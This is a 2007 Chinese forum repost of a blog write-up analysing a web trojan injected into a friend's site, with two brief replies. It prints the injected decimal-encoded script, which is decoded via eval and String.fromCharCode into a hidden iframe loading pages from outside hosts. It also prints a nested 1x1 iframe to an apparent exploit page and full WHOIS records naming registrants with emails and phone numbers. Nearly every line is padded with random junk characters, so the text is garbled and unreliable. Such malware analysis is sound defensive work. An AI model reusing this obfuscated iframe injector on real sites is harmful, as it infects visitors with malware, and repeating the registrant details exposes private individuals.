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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, :}y9$p  
d/D,P=j"  
http://www.areway.cn/?p=175  0]AN;  
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D##+)`dK  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 2+?T66 g  
          *16<M)7  
<script>t=’60,105,102,114,97,109,101, '|l%rv  
32,115,114,99,61,104,116,116,112,58,47,47, Bo`Tl1K#  
102,114,101,101,46,117,45,117,117,117,46,99, {=3J/)='  
110,47,101,114,114,111,114,46,104,116,109, (I-<f$3  
32,119,105,100,116,104,61,49,48,48,32,104, 0A;" V'i  
101,105,103,104,116,61,48,62,60,47,105,102, >~I#JQ%  
114,97,109,101,62′; q#P$'7"  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> v(DwU!  
                                                                                                  I eG=J4:*  
<script>t=’60,105,102,114,97,109,101,32,115, yND"bF9  
114,99,61,104,116,116,112,58,47,47,102,114, o:2Q2+d  
101,101,46,117,45,117,117,117,46,99,110,47, D.'h?^kA  
101,114,114,111,114,46,104,116,109,32,119, JD6aiI!Su  
105,100,116,104,61,49,48,48,32,104,101,105, ]N*L7AVl  
103,104,116,61,48,62,60,47,105,102,114,97, E {tx/$f  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); v" }WP34  
document.write(t);</script> G&q'#3ieC  
                                                                                                  +R-h ,$\=7  
<html xmlns=” wfgqgPo!v  
http://www.w3.org/1999/xhtml ?4XnEDA m  
“> pb!V|#u"  
<head> dj'm, k b  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 9\HR60V  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> qv[[Q[RK-5  
<title>首页 - 爱生活家庭网 f-;$0mTQ  
                                                                                                                                                    \(I0wEQo$  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 @q K]JK  
转换字符串后的大概内容是(谁点击后果自付): U{6oLqwq3Y  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… `@[l\.Vt:  
                                                                                                                                  ]r4bRK[1  
查询玉米u-uuu.cn的详细信息: i AdGgK  
Domain Name: u-uuu.cn X) V7bVW  
ROID: 20070901s10001s64972306-cn s~*}0-lS  
Domain Status: ok 9Ycn0  
Registrant Organization: 王雷 xJ{_qP  
Registrant Name: 王雷 M=OCz gj  
Administrative Email: czlovexs@126.com v??TJ^1  
Sponsoring Registrar: 北京万网志成科技有限公司 ,LD m8   
Name Server:ns.yovole.com xH-X|N  
Name Server:ns1.yovole.com f-Jbs`(+  
Registration Date: 2007-09-01 17:54 )qL&%xz  
Expiration Date: 2008-09-01 17:54 :ygWNK[ 6D  
最后PING了一下地址 都没有什么…. >ys[I0bo  
                                                                                                ! QM.P t7c  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. iPq &Y*  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> hoa7   
<script language=”javascript” src=” H&#{l)  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script  UXT p  
> ~C-,G"zw&G  
这个玉米应该有可能是木马作者的: e  ^Ds  
foafau.info的详细信息: 'Gx$Bj  
Access to INFO WHOIS information is provided to assist persons in NYwR2oX  
determining the contents of a domain name registration record in the !\FkG8  
Afilias registry database. The data in this record is provided by +oI3I~  
Afilias Limited for informational purposes only, and Afilias does not q2hFOm  
guarantee its accuracy.  This service is intended only for query-based %SrM|&[  
access. You agree that you will use this data only for lawful purposes j9d!yW  
and that, under no circumstances will you use this data to: (a) allow, #]CFA9 z  
enable, or otherwise support the transmission by e-mail, telephone, or +Y}V3(w9X  
facsimile of mass unsolicited, commercial advertising or solicitations =-NiO@5o  
to entities other than the data recipient’s own existing customers; or :_5/u|{  
(b) enable high volume, automated, electronic processes that send <3 TA>Dz  
queries or data to the systems of Registry Operator, a Registrar, or :4:N f  
Afilias except as reasonably necessary to register domain names or aTd D`h  
modify existing registrations. All rights reserved. Afilias reserves qFco3  
the right to modify these terms at any time. By submitting this query, )"Q*G/+2Ie  
you agree to abide by this policy. Wy4$*$  
Domain ID:D22418703-LRMS c~0{s>  
Domain Name:FOAFAU.INFO oc7$H>ET1  
Created On:20-Nov-2007 16:05:42 UTC M*sR3SZ  
Last Updated On:20-Nov-2007 16:05:44 UTC mMSh2B  
Expiration Date:20-Nov-2008 16:05:42 UTC +vW)vS[  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) :w`3cw Q  
Status:CLIENT DELETE PROHIBITED Kv37s0|g  
Status:CLIENT RENEW PROHIBITED g:7,~}_}^  
Status:CLIENT TRANSFER PROHIBITED aZ Xmlq  
Status:CLIENT UPDATE PROHIBITED 20b<68h$:  
Status:TRANSFER PROHIBITED Fk "Ee&H)(  
Registrant ID:GODA-040110615 hoM|P8 }rh  
Registrant Name:liu hong k1^\|   
Registrant Organization: LJFG0 W  
Registrant Street1:beijing ]0c+/ \b&  
Registrant Street2: |F[=b'?  
Registrant Street3: j'?7D0>  
Registrant City:beijing YAVy9$N-  
Registrant State/Province:  7I=C+  
Registrant Postal Code:100000  J@_ctGv  
Registrant Country:CN %' $o"  
Registrant Phone:+86.860108888777 ujFzJdp3k  
Registrant Phone Ext.: s&a1y~rv  
Registrant FAX: fpWg R4__  
Registrant FAX Ext.: oR .cSGh  
Registrant Email:bbbshiji@163.com Su8|R"qU  
Admin ID:GODA-240110615 \25/$Ae}c  
Admin Name:liu hong {sVY`}p|  
Admin Organization: 6Wj^*L!  
Admin Street1:beijing 0nJE/JZ  
Admin Street2: iD`d99f8O  
Admin Street3: l[Q:}y  
Admin City:beijing b|xpNd-  
Admin State/Province: 2 PqS%`XiS  
Admin Postal Code:100000 T!RT<&  
Admin Country:CN 1PH: \0}  
Admin Phone:+86.860108888777 g7\,{Bw#E  
Admin Phone Ext.: gU&%J4O  
Admin FAX: 5%zXAQD=<  
Admin FAX Ext.: r%@Lej5+  
Admin Email:bbbshiji@163.com \f:z+F!6R  
Billing ID:GODA-340110615 P 1XK*GZ  
Billing Name:liu hong m<rhIq  
Billing Organization: NGC,lv  
Billing Street1:beijing Wy .IcWK  
Billing Street2: &;i "P  
Billing Street3: Cx<0 H  
Billing City:beijing oF]cTAqhC.  
Billing State/Province: j;b42G~p  
Billing Postal Code:100000 F&RgT1*  
Billing Country:CN L< ^j"!0  
Billing Phone:+86.860108888777 = ?D(g  
Billing Phone Ext.: q  h/F  
Billing FAX: }`(N:p  
Billing FAX Ext.: ;0rGiWC#  
Billing Email:bbbshiji@163.com ;-P)m  
Tech ID:GODA-140110615 ,`D~py,  
Tech Name:liu hong t.T UmJ  
Tech Organization: H}hFFI)#Oo  
Tech Street1:beijing 3_Cp%~Gi-_  
Tech Street2: !Ucjax~  
Tech Street3: fhPkEvJ  
Tech City:beijing Sr?#wev]rn  
Tech State/Province: O.aG[ wm8  
Tech Postal Code:100000 cH' iA.  
Tech Country:CN -l~Z0U>^  
Tech Phone:+86.860108888777 W%<LTWOc  
Tech Phone Ext.: e^p +1-B  
Tech FAX: N|N3x7=gs  
Tech FAX Ext.: MP Z3D9  
Tech Email:bbbshiji@163.com 5 @U<I  
Name Server:NS27.DOMAINCONTROL.COM 3E3U /K  
Name Server:NS28.DOMAINCONTROL.COM ho8`sh>N  
Name Server: l^GP3S  
Name Server: k.<]4iS  
Name Server: 5=Xy,hmnC  
Name Server: :Z`:nq.a  
Name Server: zgx&Pte  
Name Server: L`f^y;Y.  
Name Server: 5oEV-6  
Name Server: o#) {1<0vg  
Name Server: x:-.+C%  
Name Server: !+>v[(OzM  
Name Server: T|J9cgtS  
                                                                                                          L86n}+ P\  
接着下载每个文件里面的代码: E)Gw0]G  
一步一步看.. O[tvR:Nh  
Q!- 0xlx  
P-F)%T[  
3LDS Z1f  
--;@2:lg{  
&'cL%.  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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